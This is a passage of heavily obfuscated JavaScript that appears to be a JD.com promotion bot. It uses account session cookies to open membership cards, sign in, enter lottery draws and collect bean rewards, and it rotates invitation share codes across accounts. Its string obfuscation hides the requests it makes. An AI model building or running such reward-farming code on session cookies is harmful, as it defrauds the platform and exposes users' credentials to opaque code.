_0x10e9d6();},'hHWbv':_0x44c0('54'),'xIrHy':function(_0x482fd7){return _0x482fd7();},'lXdyp':_0x44c0('55'),'XBXhN':function(_0x56fa76){return _0x56fa76();},'cbdEP':function(_0xf7e6d6,_0x354bf){return _0xf7e6d6(_0x354bf);},'AVCKX':function(_0x1aaade,_0x21490e,_0x55fbe7){return _0x1aaade(_0x21490e,_0x55fbe7);},'emIvF':function(_0x43cbbe,_0x2c9eac){return _0x43cbbe+_0x2c9eac;},'KKTXm':function(_0x1fd320,_0x1c31fd){return _0x1fd320===_0x1c31fd;},'XanNx':_0x44c0('56'),'WTQXf':function(_0x5c7777,_0xa65b72){return _0x5c7777==_0xa65b72;},'aWUOs':function(_0x37191d,_0x2d2d7f){return _0x37191d!==_0x2d2d7f;},'TWQiz':_0x44c0('57'),'ADpYQ':function(_0x52b05b,_0xacb880,_0x3c0ac2){return _0x52b05b(_0xacb880,_0x3c0ac2);},'aywiV':function(_0x15434d,_0x19aaea){return _0x15434d+_0x19aaea;},'ZAUvm':function(_0x3bfde0){return _0x3bfde0();},'TmbYo':function(_0x74bce7,_0x52acb2,_0x4d22c5){return _0x74bce7(_0x52acb2,_0x4d22c5);},'IXUhe':function(_0x381e87,_0x563c35){return _0x381e87+_0x563c35;},'RDXar':function(_0x22dee9){return _0x22dee9();},'BmYUh':function(_0x6e95a4,_0x1ca652,_0x14067c){return _0x6e95a4(_0x1ca652,_0x14067c);},'UtRJP':function(_0x514ea6,_0x2ce708){return _0x514ea6+_0x2ce708;},'OJSZE':function(_0x5cac20,_0x58ba55,_0x2dc1ee){return _0x5cac20(_0x58ba55,_0x2dc1ee);},'hfDjO':function(_0x2e35a9,_0x1cd486,_0x1a3ca1,_0x35dd2e){return _0x2e35a9(_0x1cd486,_0x1a3ca1,_0x35dd2e);},'LZHUP':_0x44c0('58'),'mnOrz':function(_0x24c7fa,_0x2c319b,_0x3254ec){return _0x24c7fa(_0x2c319b,_0x3254ec);},'DSJAR':function(_0x291e78,_0x4aff93,_0x403c22,_0x587826){return _0x291e78(_0x4aff93,_0x403c22,_0x587826);},'XpTxA':function(_0x41e3c5,_0x39c81b){return _0x41e3c5+_0x39c81b;},'TZMEb':_0x44c0('59'),'FuXLk':function(_0x303e08,_0xb85472){return _0x303e08+_0xb85472;},'mcCQv':function(_0x3e4f17,_0x66e96b){return _0x3e4f17*_0x66e96b;},'FLyka':function(_0x5c2fac,_0x11823b,_0x3558fa,_0x4d7d4d){return _0x5c2fac(_0x11823b,_0x3558fa,_0x4d7d4d);},'npOBz':_0x44c0('5a'),'ZgQVg':function(_0x5d6b0a,_0x3c4dd9){return _0x5d6b0a+_0x3c4dd9;},'CAWHv':function(_0x35420b,_0x3ef3a2,_0x22db58,_0xcdf1df){return _0x35420b(_0x3ef3a2,_0x22db58,_0xcdf1df);},'ftRlb':_0x44c0('5b'),'eYpWL':function(_0x33c0ab,_0x43a8fc,_0x169284){return _0x33c0ab(_0x43a8fc,_0x169284);},'qbIoN':function(_0x702183,_0x699bd4){return _0x702183+_0x699bd4;},'UbPOR':function(_0x865343,_0xcb7ebf){return _0x865343+_0xcb7ebf;},'vqhWr':_0x44c0('1a'),'mgTWH':_0x44c0('5c'),'XUODi':function(_0x33f4e0,_0x16f36b,_0x2a155f){return _0x33f4e0(_0x16f36b,_0x2a155f);},'plsFA':_0x44c0('5d'),'ekesh':function(_0x21b1d2,_0x472e17,_0x53fdbe){return _0x21b1d2(_0x472e17,_0x53fdbe);},'UMtOS':function(_0x9e5f38,_0x1c2744){return _0x9e5f38+_0x1c2744;},'CidAW':function(_0x421d2b,_0x10bcd2){return _0x421d2b*_0x10bcd2;},'YyodU':function(_0x551566){return _0x551566();},'KjLYm':function(_0x44fed7,_0x45acd6){return _0x44fed7+_0x45acd6;},'IjLiy':function(_0x1de105,_0x2a46b1){return _0x1de105!==_0x2a46b1;},'qEmEu':_0x44c0('5e'),'rrmmZ':_0x44c0('5f'),'kfWcM':function(_0x181207,_0x4629e9,_0x44d5a9){return _0x181207(_0x4629e9,_0x44d5a9);},'BoipU':function(_0x44e697,_0x3395de,_0x11c4da){return _0x44e697(_0x3395de,_0x11c4da);},'wxPaO':function(_0x4bbe6f,_0x101d26){return _0x4bbe6f>_0x101d26;},'sWgZH':function(_0x286207,_0x44fb4e){return _0x286207!==_0x44fb4e;},'qsULc':_0x44c0('60'),'cyUqI':_0x44c0('61'),'srEyS':function(_0x56d83a,_0x2cc3cd){return _0x56d83a(_0x2cc3cd);},'pqsyf':_0x44c0('62'),'cTEkb':function(_0x5b30b6,_0x30bf78,_0x3ad387){return _0x5b30b6(_0x30bf78,_0x3ad387);},'Hymkf':function(_0x1d9c6d,_0x402b85){return _0x1d9c6d+_0x402b85;},'DOipt':_0x44c0('63'),'ntEmp':function(_0x1b3d3a,_0x5a141d){return _0x1b3d3a==_0x5a141d;},'mUjKK':function(_0x19abe7,_0x7f0a8a){return _0x19abe7===_0x7f0a8a;},'VFXGZ':_0x44c0('64'),'fGQEP':_0x44c0('65'),'NKcYv':function(_0x170d9e,_0x1ba808){return _0x170d9e+_0x1ba808;},'MAtTo':function(_0x577b8d,_0xcd9ae8){return _0x577b8d+_0xcd9ae8;},'SRCfQ':function(_0x23f82a,_0x59de5d,_0x28bd2d){return _0x23f82a(_0x59de5d,_0x28bd2d);},'lLksY':function(_0x155c57,_0xc3b7bb){return _0x155c57*_0xc3b7bb;},'giTkb':function(_0x5022f4){return _0x5022f4();},'pqJnn':_0x44c0('66'),'uHNSV':function(_0x4d3488,_0x428a94){return _0x4d3488!==_0x428a94;},'zciQc':_0x44c0('67'),'LEQNx':_0x44c0('68'),'smeIZ':_0x44c0('69'),'dtmiT':function(_0x3875fe,_0x5e3e85,_0x225cd0){return _0x3875fe(_0x5e3e85,_0x225cd0);},'msgqw':function(_0x3be2e6,_0x5565d3){return _0x3be2e6===_0x5565d3;},'ZdJuU':function(_0x45ebec,_0x456298){return _0x45ebec==_0x456298;},'WhrRU':_0x44c0('1d'),'SaWUa':function(_0x229c1c,_0x514f9d,_0x48d4ce){return _0x229c1c(_0x514f9d,_0x48d4ce);},'BWNZs':function(_0x32f527,_0x30cf55){return _0x32f527*_0x30cf55;}};try{lz_jdpin_token='';$[_0x44c0('6a')]='';$[_0x44c0('6b')]='';await _0x3283b2[_0x44c0('6c')](getCk);if(_0x3283b2[_0x44c0('6d')](activityCookie,'')){console[_0x44c0('7')](_0x44c0('6e'));return;}await _0x3283b2[_0x44c0('6c')](getToken);if(_0x3283b2[_0x44c0('6d')]($[_0x44c0('6a')],'')){console[_0x44c0('7')](_0x3283b2[_0x44c0('6f')]);return;}await _0x3283b2[_0x44c0('70')](getSimpleActInfoVo);$[_0x44c0('71')]='';await _0x3283b2[_0x44c0('72')](getMyPing);if(_0x3283b2[_0x44c0('73')]($[_0x44c0('6b')],'')||_0x3283b2[_0x44c0('6d')](typeof $[_0x44c0('74')],_0x3283b2[_0x44c0('75')])||_0x3283b2[_0x44c0('76')](typeof $[_0x44c0('77')],_0x3283b2[_0x44c0('75')])){$[_0x44c0('7')](_0x3283b2[_0x44c0('78')]);return;}await _0x3283b2[_0x44c0('79')](accessLogWithAD);$[_0x44c0('7a')]=_0x3283b2[_0x44c0('7b')];await _0x3283b2[_0x44c0('79')](getUserInfo);$[_0x44c0('42')]='';await _0x3283b2[_0x44c0('7c')](getActorUuid);if(!$[_0x44c0('42')]){console[_0x44c0('7')](_0x3283b2[_0x44c0('7d')]);return;}await _0x3283b2[_0x44c0('7e')](drawContent);$[_0x44c0('7f')]='';await _0x3283b2[_0x44c0('80')](checkOpenCard,0x2);await $[_0x44c0('81')](_0x3283b2[_0x44c0('82')](parseInt,_0x3283b2[_0x44c0('83')](_0x3283b2[_0x44c0('84')](Math[_0x44c0('85')](),0x3e8),0x7d0),0xa));console[_0x44c0('7')](_0x44c0('86')+$[_0x44c0('87')]);$[_0x44c0('88')]=$[_0x44c0('87')]?!![]:![];if(!$[_0x44c0('87')]&&$[_0x44c0('7f')]&&!$[_0x44c0('15')]){for(let _0x2dc157 of $[_0x44c0('7f')]&&$[_0x44c0('7f')]||[]){if(_0x3283b2[_0x44c0('89')](_0x3283b2[_0x44c0('8a')],_0x3283b2[_0x44c0('8a')])){if(_0x3283b2[_0x44c0('8b')](_0x2dc157[_0x44c0('8c')],![])){if(_0x3283b2[_0x44c0('8d')](_0x3283b2[_0x44c0('8e')],_0x3283b2[_0x44c0('8e')])){e=_0x3283b2[_0x44c0('8f')](e,0x20);let _0x481d7b=_0x3283b2[_0x44c0('90')],_0x3dd8a6=_0x481d7b[_0x44c0('37')],_0x471ed8='';for(i=0x0;_0x3283b2[_0x44c0('91')](i,e);i++)_0x471ed8+=_0x481d7b[_0x44c0('92')](Math[_0x44c0('93')](_0x3283b2[_0x44c0('84')](Math[_0x44c0('85')](),_0x3dd8a6)));return _0x471ed8;}else{await _0x3283b2[_0x44c0('80')](join,_0x2dc157[_0x44c0('77')]);await $[_0x44c0('81')](_0x3283b2[_0x44c0('94')](parseInt,_0x3283b2[_0x44c0('95')](_0x3283b2[_0x44c0('84')](Math[_0x44c0('85')](),0x3e8),0x7d0),0xa));await _0x3283b2[_0x44c0('96')](drawContent);await _0x3283b2[_0x44c0('80')](checkOpenCard,0x1);}}}else{console[_0x44c0('7')](data);}}await $[_0x44c0('81')](_0x3283b2[_0x44c0('97')](parseInt,_0x3283b2[_0x44c0('98')](_0x3283b2[_0x44c0('84')](Math[_0x44c0('85')](),0x3e8),0xbb8),0xa));await _0x3283b2[_0x44c0('99')](drawContent);await _0x3283b2[_0x44c0('80')](checkOpenCard,0x2);console[_0x44c0('7')](_0x44c0('86')+$[_0x44c0('87')]);await $[_0x44c0('81')](_0x3283b2[_0x44c0('9a')](parseInt,_0x3283b2[_0x44c0('9b')](_0x3283b2[_0x44c0('84')](Math[_0x44c0('85')](),0x3e8),0x7d0),0xa));}await _0x3283b2[_0x44c0('99')](getInitInfo);if($[_0x44c0('15')])return;await $[_0x44c0('81')](_0x3283b2[_0x44c0('9c')](parseInt,_0x3283b2[_0x44c0('9b')](_0x3283b2[_0x44c0('84')](Math[_0x44c0('85')](),0x3e8),0x7d0),0xa));console[_0x44c0('7')](_0x44c0('9d')+$[_0x44c0('9e')]);if(!$[_0x44c0('9e')])await _0x3283b2[_0x44c0('9f')](saveTask,_0x3283b2[_0x44c0('a0')],0x17,0x17);if(!$[_0x44c0('9e')])await $[_0x44c0('81')](_0x3283b2[_0x44c0('a1')](parseInt,_0x3283b2[_0x44c0('9b')](_0x3283b2[_0x44c0('84')](Math[_0x44c0('85')](),0x3e8),0x7d0),0xa));console[_0x44c0('7')](_0x44c0('a2')+$[_0x44c0('a3')]);if(!$[_0x44c0('a3')])await _0x3283b2[_0x44c0('a4')](saveTask,'签到',0x0,0x0);if(!$[_0x44c0('a3')])await $[_0x44c0('81')](_0x3283b2[_0x44c0('a1')](parseInt,_0x3283b2[_0x44c0('a5')](_0x3283b2[_0x44c0('84')](Math[_0x44c0('85')](),0x3e8),0x7d0),0xa));if(!$[_0x44c0('a6')])await _0x3283b2[_0x44c0('a4')](saveTask,_0x3283b2[_0x44c0('a7')],0x6,0x6);if(!$[_0x44c0('a6')])await $[_0x44c0('81')](_0x3283b2[_0x44c0('a1')](parseInt,_0x3283b2[_0x44c0('a8')](_0x3283b2[_0x44c0('a9')](Math[_0x44c0('85')](),0x3e8),0x7d0),0xa));if(!$[_0x44c0('aa')])await _0x3283b2[_0x44c0('ab')](saveTask,_0x3283b2[_0x44c0('ac')],0xd,0x1);if(!$[_0x44c0('aa')])await $[_0x44c0('81')](_0x3283b2[_0x44c0('a1')](parseInt,_0x3283b2[_0x44c0('ad')](_0x3283b2[_0x44c0('a9')](Math[_0x44c0('85')](),0x3e8),0x7d0),0xa));if(!$[_0x44c0('ae')])await _0x3283b2[_0x44c0('af')](saveTask,_0x3283b2[_0x44c0('b0')],0xc,0x1);if(!$[_0x44c0('ae')])await $[_0x44c0('81')](_0x3283b2[_0x44c0('b1')](parseInt,_0x3283b2[_0x44c0('b2')](_0x3283b2[_0x44c0('a9')](Math[_0x44c0('85')](),0x3e8),0x7d0),0xa));console[_0x44c0('7')](_0x44c0('b3')+$[_0x44c0('b4')]);if(_0x3283b2[_0x44c0('8b')](_0x3283b2[_0x44c0('b5')](guaopencard_addSku,''),_0x3283b2[_0x44c0('b6')])){if(!$[_0x44c0('b4')])await _0x3283b2[_0x44c0('af')](saveTask,_0x3283b2[_0x44c0('b7')],0x15,0x15);if(!$[_0x44c0('b4')])await $[_0x44c0('81')](_0x3283b2[_0x44c0('b8')](parseInt,_0x3283b2[_0x44c0('b5')](_0x3283b2[_0x44c0('a9')](Math[_0x44c0('85')](),0x3e8),0x7d0),0xa));}else console[_0x44c0('7')](_0x3283b2[_0x44c0('b9')]);let _0x5d0039=0x1;await $[_0x44c0('81')](_0x3283b2[_0x44c0('ba')](parseInt,_0x3283b2[_0x44c0('bb')](_0x3283b2[_0x44c0('bc')](Math[_0x44c0('85')](),0x3e8),0x7d0),0xa));await _0x3283b2[_0x44c0('bd')](getActorUuid);console[_0x44c0('7')](_0x44c0('be')+$[_0x44c0('bf')]+_0x44c0('c0')+$[_0x44c0('c1')]+_0x44c0('c2')+$[_0x44c0('c3')]);let _0x37c7d1=0x0;if(_0x3283b2[_0x44c0('8d')](_0x3283b2[_0x44c0('c4')](guaopencard_draw,''),'0')){if(_0x3283b2[_0x44c0('c5')](_0x3283b2[_0x44c0('c6')],_0x3283b2[_0x44c0('c7')])){let _0x45f166=_0x3283b2[_0x44c0('c8')](parseInt,$[_0x44c0('c3')],0xa);guaopencard_draw=_0x3283b2[_0x44c0('c9')](parseInt,guaopencard_draw,0xa);if(_0x3283b2[_0x44c0('ca')](_0x45f166,guaopencard_draw))_0x45f166=guaopencard_draw;console[_0x44c0('7')](_0x44c0('cb')+_0x45f166);for(j=0x1;_0x45f166--&&!![];j++){if(_0x3283b2[_0x44c0('cc')](_0x3283b2[_0x44c0('cd')],_0x3283b2[_0x44c0('ce')])){_0x37c7d1=0x1;console[_0x44c0('7')]('第'+j+'次');await _0x3283b2[_0x44c0('cf')](draw,_0x3283b2[_0x44c0('d0')]);await $[_0x44c0('81')](_0x3283b2[_0x44c0('d1')](parseInt,_0x3283b2[_0x44c0('d2')](_0x3283b2[_0x44c0('bc')](Math[_0x44c0('85')](),0x3e8),0xfa0),0xa));if($[_0x44c0('15')])break;}else{$[_0x44c0('4d')](e,resp);}}}else{cookiesArr[_0x44c0('3')](jdCookieNode[item]);}}else console[_0x44c0('7')](_0x3283b2[_0x44c0('d3')]);if(_0x3283b2[_0x44c0('d4')](_0x37c7d1,0x1)){if(_0x3283b2[_0x44c0('d5')](_0x3283b2[_0x44c0('d6')],_0x3283b2[_0x44c0('d7')])){$[_0x44c0('7')](_0x3283b2[_0x44c0('78')]);return;}else{await $[_0x44c0('81')](_0x3283b2[_0x44c0('d1')](parseInt,_0x3283b2[_0x44c0('d8')](_0x3283b2[_0x44c0('bc')](Math[_0x44c0('85')](),0x3e8),0x7d0),0xa));await _0x3283b2[_0x44c0('bd')](getActorUuid);}}if($[_0x44c0('15')])return;await $[_0x44c0('81')](_0x3283b2[_0x44c0('d1')](parseInt,_0x3283b2[_0x44c0('d9')](_0x3283b2[_0x44c0('bc')](Math[_0x44c0('85')](),0x3e8),0x7d0),0xa));await _0x3283b2[_0x44c0('bd')](getDrawRecordHasCoupon);await $[_0x44c0('81')](_0x3283b2[_0x44c0('da')](parseInt,_0x3283b2[_0x44c0('d9')](_0x3283b2[_0x44c0('db')](Math[_0x44c0('85')](),0x3e8),0x7d0),0xa));await _0x3283b2[_0x44c0('dc')](getShareRecord);$[_0x44c0('7')]($[_0x44c0('42')]);$[_0x44c0('7')](_0x3283b2[_0x44c0('d9')](_0x3283b2[_0x44c0('dd')],$[_0x44c0('30')]));if($[_0x44c0('42')]){$[_0x44c0('2f')][_0x44c0('3')]({'shareUuid':$[_0x44c0('42')],'count':$[_0x44c0('de')],'index':$[_0x44c0('3b')]});}else if(_0x3283b2[_0x44c0('d5')]($[_0x44c0('3b')],0x1)){if(_0x3283b2[_0x44c0('df')](_0x3283b2[_0x44c0('e0')],_0x3283b2[_0x44c0('e1')])){console[_0x44c0('7')](_0x3283b2[_0x44c0('e2')]);return;}else{_0x3283b2[_0x44c0('e3')](resolve);}}if((!$[_0x44c0('9e')]||!$[_0x44c0('88')])&&_0x3283b2[_0x44c0('df')]($[_0x44c0('3b')],0x1))_0x3283b2[_0x44c0('e4')](updateShareUuid,$[_0x44c0('30')],0x1);if(_0x3283b2[_0x44c0('e5')]($[_0x44c0('3b')],0x1)||_0x3283b2[_0x44c0('e6')]($[_0x44c0('30')],_0x3283b2[_0x44c0('e7')]))_0x3283b2[_0x44c0('e4')](updateShareUuid,$[_0x44c0('30')],0x0);await $[_0x44c0('81')](_0x3283b2[_0x44c0('e8')](parseInt,_0x3283b2[_0x44c0('d9')](_0x3283b2[_0x44c0('e9')](Math[_0x44c0('85')](),0x3e8),0x1388),0xa));if(!$[_0x44c0('9e')])await $[_0x44c0('81')](_0x3283b2[_0x44c0('e8')](parseInt,_0x3283b2[_0x44c0('d9')](_0x3283b2[_0x44c0('e9')](Math[_0x44c0('85')](),0x3e8),0x2710),0xa));}catch(_0x105a60){console[_0x44c0('7')](_0x105a60);}}function updateShareUuid(_0x1fa8f5,_0x38b6e5){var _0x5d861e={'YRRKI':function(_0x1cd95a){return _0x1cd95a();},'rSrXn':function(_0x3b8654,_0x380c4f){return _0x3b8654===_0x380c4f;},'nMPzd':_0x44c0('ea'),'sqfsf':function(_0x12886d,_0x5da29c){return _0x12886d==_0x5da29c;},'EdqTH':function(_0x749a8f,_0xb77dbd){return _0x749a8f==_0xb77dbd;},'STKrm':function(_0x246f1a,_0x1a9e9d){return _0x246f1a>=_0x1a9e9d;},'KUawk':function(_0x1d08f4,_0x5d4113){return _0x1d08f4!==_0x5d4113;},'vjpBb':_0x44c0('eb'),'FvNDi':_0x44c0('ec'),'MczIt':_0x44c0('ed'),'esngq':function(_0x15c4ad,_0x18a1af){return _0x15c4ad<_0x18a1af;},'xflGl':function(_0x3380ff,_0x5208cc){return _0x3380ff===_0x5208cc;},'aCLPo':_0x44c0('ee')};let _0x322e9d=0x0;for(let _0x749d61 in $[_0x44c0('2f')]){if(_0x5d861e[_0x44c0('ef')](_0x5d861e[_0x44c0('f0')],_0x5d861e[_0x44c0('f0')])){if($[_0x44c0('2f')][_0x749d61]&&_0x5d861e[_0x44c0('f1')]($[_0x44c0('2f')][_0x749d61][_0x44c0('30')],_0x1fa8f5)){_0x322e9d=_0x749d61;break;}}else{_0x5d861e[_0x44c0('f2')](resolve);}}if(_0x5d861e[_0x44c0('f3')](_0x38b6e5,0x1))$[_0x44c0('2f')][_0x322e9d][_0x44c0('f4')]++;if(_0x5d861e[_0x44c0('f5')]($[_0x44c0('2f')][_0x322e9d][_0x44c0('f4')],0x5)||_0x5d861e[_0x44c0('f3')](_0x38b6e5,0x0)){if(_0x5d861e[_0x44c0('f6')](_0x5d861e[_0x44c0('f7')],_0x5d861e[_0x44c0('f7')])){_0x5d861e[_0x44c0('f2')](resolve);}else{console[_0x44c0('7')](_0x44c0('f8')+$[_0x44c0('2f')][_0x322e9d][_0x44c0('30')]+_0x44c0('f9')+$[_0x44c0('2f')][_0x322e9d][_0x44c0('f4')]);for(let _0x770048 in $[_0x44c0('2f')]){if(_0x5d861e[_0x44c0('f6')](_0x5d861e[_0x44c0('fa')],_0x5d861e[_0x44c0('fb')])){if($[_0x44c0('2f')][_0x770048]&&_0x5d861e[_0x44c0('fc')]($[_0x44c0('2f')][_0x770048][_0x44c0('f4')],0x5)){if(_0x5d861e[_0x44c0('fd')](_0x5d861e[_0x44c0('fe')],_0x5d861e[_0x44c0('fe')])){$[_0x44c0('30')]=$[_0x44c0('2f')][_0x770048][_0x44c0('30')];console[_0x44c0('7')](_0x44c0('ff')+$[_0x44c0('30')]+_0x44c0('100')+$[_0x44c0('2f')][_0x770048][_0x44c0('3b')]+_0x44c0('101')+$[_0x44c0('2f')][_0x770048][_0x44c0('f4')]);break;}else{console[_0x44c0('7')](data);}}}else{console[_0x44c0('7')](_0x44c0('102')+(res[_0x44c0('103')]||''));}}}}}function getDrawRecordHasCoupon(){var _0x4e62ed={'VRXJi':_0x44c0('104'),'VndHA':_0x44c0('17'),'urAzT':function(_0x344b09,_0x136900){return _0x344b09==_0x136900;},'yOxdJ':_0x44c0('105'),'HxwlP':function(_0x57afdf,_0x50b43c){return _0x57afdf!=_0x50b43c;},'LKHSR':function(_0x451654,_0x745fdd){return _0x451654+_0x745fdd;},'bzxvq':function(_0x106439,_0x46c163){return _0x106439!==_0x46c163;},'UccEH':_0x44c0('106'),'QNfDe':_0x44c0('107'),'AsmNl':_0x44c0('108'),'ZFKXQ':function(_0x4baf54,_0x111a53){return _0x4baf54===_0x111a53;},'xAzTl':_0x44c0('109'),'EztWk':_0x44c0('10a'),'gWukn':_0x44c0('10b'),'ATNXC':_0x44c0('10c'),'RuMVo':_0x44c0('10d'),'mCGhp':function(_0x25ceae,_0x54de81){return _0x25ceae!==_0x54de81;},'FCFsl':_0x44c0('10e'),'zgmUP':function(_0x14372a,_0x4a3044){return _0x14372a==_0x4a3044;},'pVGqe':function(_0x162bc3,_0x22fb2d){return _0x162bc3>_0x22fb2d;},'AHReU':function(_0x3c0dd0,_0x245e00){return _0x3c0dd0*_0x245e00;},'aPMZS':function(_0x3e6ee0,_0x2b8ee6,_0xe0b219){return _0x3e6ee0(_0x2b8ee6,_0xe0b219);},'JYtbV':function(_0x1a3765,_0x5bd17f){return _0x1a3765==_0x5bd17f;},'hMfkf':_0x44c0('10f'),'nieWB':_0x44c0('110'),'ibbYk':function(_0x3443a4,_0x26e2df){return _0x3443a4!==_0x26e2df;},'xuuQT':_0x44c0('111'),'ynNDp':function(_0x1dacef){return _0x1dacef();},'kVGuq':function(_0xc805a7,_0x391606){return _0xc805a7==_0x391606;},'KnODj':_0x44c0('53'),'FuyJW':function(_0x405e6e,_0x37b2b9){return _0x405e6e!==_0x37b2b9;},'ZeEJG':_0x44c0('112'),'XlPja':function(_0x2d911e,_0x5be8ef){return _0x2d911e(_0x5be8ef);}};return new Promise(_0x595fc9=>{var _0x18afe6={'FRAht':function(_0x5c099b,_0x40f223){return _0x4e62ed[_0x44c0('113')](_0x5c099b,_0x40f223);},'WHVFk':_0x4e62ed[_0x44c0('114')],'JXLZQ':function(_0x5ed732,_0x8dd984){return _0x4e62ed[_0x44c0('115')](_0x5ed732,_0x8dd984);},'wnasy':_0x4e62ed[_0x44c0('116')],'HkyyD':function(_0x71c248,_0x46cdac){return _0x4e62ed[_0x44c0('113')](_0x71c248,_0x46cdac);},'CTlCu':function(_0x7b0a5d,_0x53ee6c){return _0x4e62ed[_0x44c0('113')](_0x7b0a5d,_0x53ee6c);},'IPXUD':_0x4e62ed[_0x44c0('117')]};if(_0x4e62ed[_0x44c0('118')](_0x4e62ed[_0x44c0('119')],_0x4e62ed[_0x44c0('119')])){var _0x1f5ef9=_0x4e62ed[_0x44c0('11a')][_0x44c0('11b')]('|'),_0xd0428a=0x0;while(!![]){switch(_0x1f5ef9[_0xd0428a++]){case'0':$[_0x44c0('9e')]=res[_0x44c0('11c')][_0x44c0('9e')];continue;case'1':$[_0x44c0('ae')]=res[_0x44c0('11c')][_0x44c0('ae')];continue;case'2':$[_0x44c0('b4')]=res[_0x44c0('11c')][_0x44c0('11d')];continue;case'3':$[_0x44c0('a3')]=res[_0x44c0('11c')][_0x44c0('a3')];continue;case'4':$[_0x44c0('aa')]=res[_0x44c0('11c')][_0x44c0('aa')];continue;case'5':$[_0x44c0('a6')]=res[_0x44c0('11c')][_0x44c0('a6')];continue;}break;}}else{let _0x4b7e6b=_0x44c0('11e')+$[_0x44c0('32')]+_0x44c0('11f')+$[_0x44c0('42')]+_0x44c0('120')+_0x4e62ed[_0x44c0('121')](encodeURIComponent,$[_0x44c0('6b')]);$[_0x44c0('122')](_0x4e62ed[_0x44c0('123')](taskPostUrl,_0x44c0('124'),_0x4b7e6b),async(_0x100363,_0x40088f,_0x326c46)=>{var _0x38f881={'dqutK':_0x4e62ed[_0x44c0('117')],'YVUbY':function(_0x314180,_0x490cc1){return _0x4e62ed[_0x44c0('125')](_0x314180,_0x490cc1);},'LnSgI':_0x4e62ed[_0x44c0('126')],'TURow':function(_0x2eee87,_0x5d0a0d){return _0x4e62ed[_0x44c0('125')](_0x2eee87,_0x5d0a0d);},'TSQgA':function(_0x53dcdb,_0x2514b2){return _0x4e62ed[_0x44c0('115')](_0x53dcdb,_0x2514b2);},'xlytT':function(_0xeb6461,_0x47a113){return _0x4e62ed[_0x44c0('127')](_0xeb6461,_0x47a113);}};try{if(_0x100363){console[_0x44c0('7')](''+$[_0x44c0('48')](_0x100363));console[_0x44c0('7')]($[_0x44c0('22')]+_0x44c0('49'));}else{if(_0x4e62ed[_0x44c0('128')](_0x4e62ed[_0x44c0('129')],_0x4e62ed[_0x44c0('12a')])){res=$[_0x44c0('12b')](_0x326c46);if(_0x4e62ed[_0x44c0('125')](typeof res,_0x4e62ed[_0x44c0('114')])){if(_0x4e62ed[_0x44c0('12c')](res[_0x44c0('12d')],!![])&&res[_0x44c0('11c')]){if(_0x4e62ed[_0x44c0('12c')](_0x4e62ed[_0x44c0('12e')],_0x4e62ed[_0x44c0('12e')])){console[_0x44c0('7')](_0x44c0('12f'));let _0x51c11f=0x0;let _0x49cb96=0x0;let _0x42842c={'dayBeSharedBeans':_0x4e62ed[_0x44c0('130')],'dayShareBeans':'邀请','saveTaskBeans':_0x4e62ed[_0x44c0('131')],'opencardBeans':'开卡','28b3cff467a445c78a4cd5a82b9970b8':'抽奖','9d338d90ec394403b6a4f797c6c4ac32':_0x4e62ed[_0x44c0('132')],'OneClickCoupon':_0x4e62ed[_0x44c0('133')]};for(let _0x368d26 in res[_0x44c0('11c')]){if(_0x4e62ed[_0x44c0('134')](_0x4e62ed[_0x44c0('135')],_0x4e62ed[_0x44c0('135')])){let _0x4aae52=$[_0x44c0('12b')](_0x326c46);if(_0x18afe6[_0x44c0('136')](typeof _0x4aae52,_0x18afe6[_0x44c0('137')])&&_0x18afe6[_0x44c0('136')](_0x4aae52[_0x44c0('138')],0x0)){if(_0x18afe6[_0x44c0('139')](typeof _0x4aae52[_0x44c0('13a')],_0x18afe6[_0x44c0('13b')]))$[_0x44c0('6a')]=_0x4aae52[_0x44c0('13a')];}else if(_0x18afe6[_0x44c0('13c')](typeof _0x4aae52,_0x18afe6[_0x44c0('137')])&&_0x4aae52[_0x44c0('13d')]){console[_0x44c0('7')](_0x44c0('13e')+(_0x4aae52[_0x44c0('13d')]||''));}else{console[_0x44c0('7')](_0x326c46);}}else{let _0x58e297=res[_0x44c0('11c')][_0x368d26];if(_0x4e62ed[_0x44c0('125')](_0x58e297[_0x44c0('13f')],_0x4e62ed[_0x44c0('126')]))_0x51c11f++;if(_0x4e62ed[_0x44c0('140')](_0x58e297[_0x44c0('13f')],_0x4e62ed[_0x44c0('126')]))_0x49cb96=_0x58e297[_0x44c0('141')][_0x44c0('142')]('京豆','');if(_0x4e62ed[_0x44c0('115')](_0x58e297[_0x44c0('13f')],_0x4e62ed[_0x44c0('126')]))console[_0x44c0('7')](''+(_0x4e62ed[_0x44c0('127')](_0x42842c[_0x58e297[_0x44c0('13f')]]||_0x58e297[_0x44c0('13f')],':')||'')+_0x58e297[_0x44c0('141')]);}}if(_0x4e62ed[_0x44c0('143')](_0x51c11f,0x0))console[_0x44c0('7')](_0x44c0('144')+_0x51c11f+'):'+(_0x4e62ed[_0x44c0('145')](_0x51c11f,_0x4e62ed[_0x44c0('123')](parseInt,_0x49cb96,0xa))||0x14)+'京豆');}else{$[_0x44c0('2f')][_0x44c0('3')]({'shareUuid':$[_0x44c0('42')],'count':$[_0x44c0('de')],'index':$[_0x44c0('3b')]});}}else if(_0x4e62ed[_0x44c0('146')](typeof res,_0x4e62ed[_0x44c0('114')])&&res[_0x44c0('103')]){console[_0x44c0('7')](_0x44c0('147')+(res[_0x44c0('103')]||''));}else{console[_0x44c0('7')](_0x326c46);}}else{if(_0x4e62ed[_0x44c0('134')](_0x4e62ed[_0x44c0('148')],_0x4e62ed[_0x44c0('149')])){console[_0x44c0('7')](_0x326c46);}else{console[_0x44c0('7')](_0x38f881[_0x44c0('14a')]);$[_0x44c0('15')]=!![];}}}else{if(_0x40088f[_0x44c0('45')]&&_0x18afe6[_0x44c0('14b')](_0x40088f[_0x44c0('45')],0x1ed)){console[_0x44c0('7')](_0x18afe6[_0x44c0('14c')]);$[_0x44c0('15')]=!![];}console[_0x44c0('7')](''+$[_0x44c0('48')](_0x100363));console[_0x44c0('7')]($[_0x44c0('22')]+_0x44c0('49'));}}}catch(_0x5507ed){if(_0x4e62ed[_0x44c0('14d')](_0x4e62ed[_0x44c0('14e')],_0x4e62ed[_0x44c0('14e')])){let 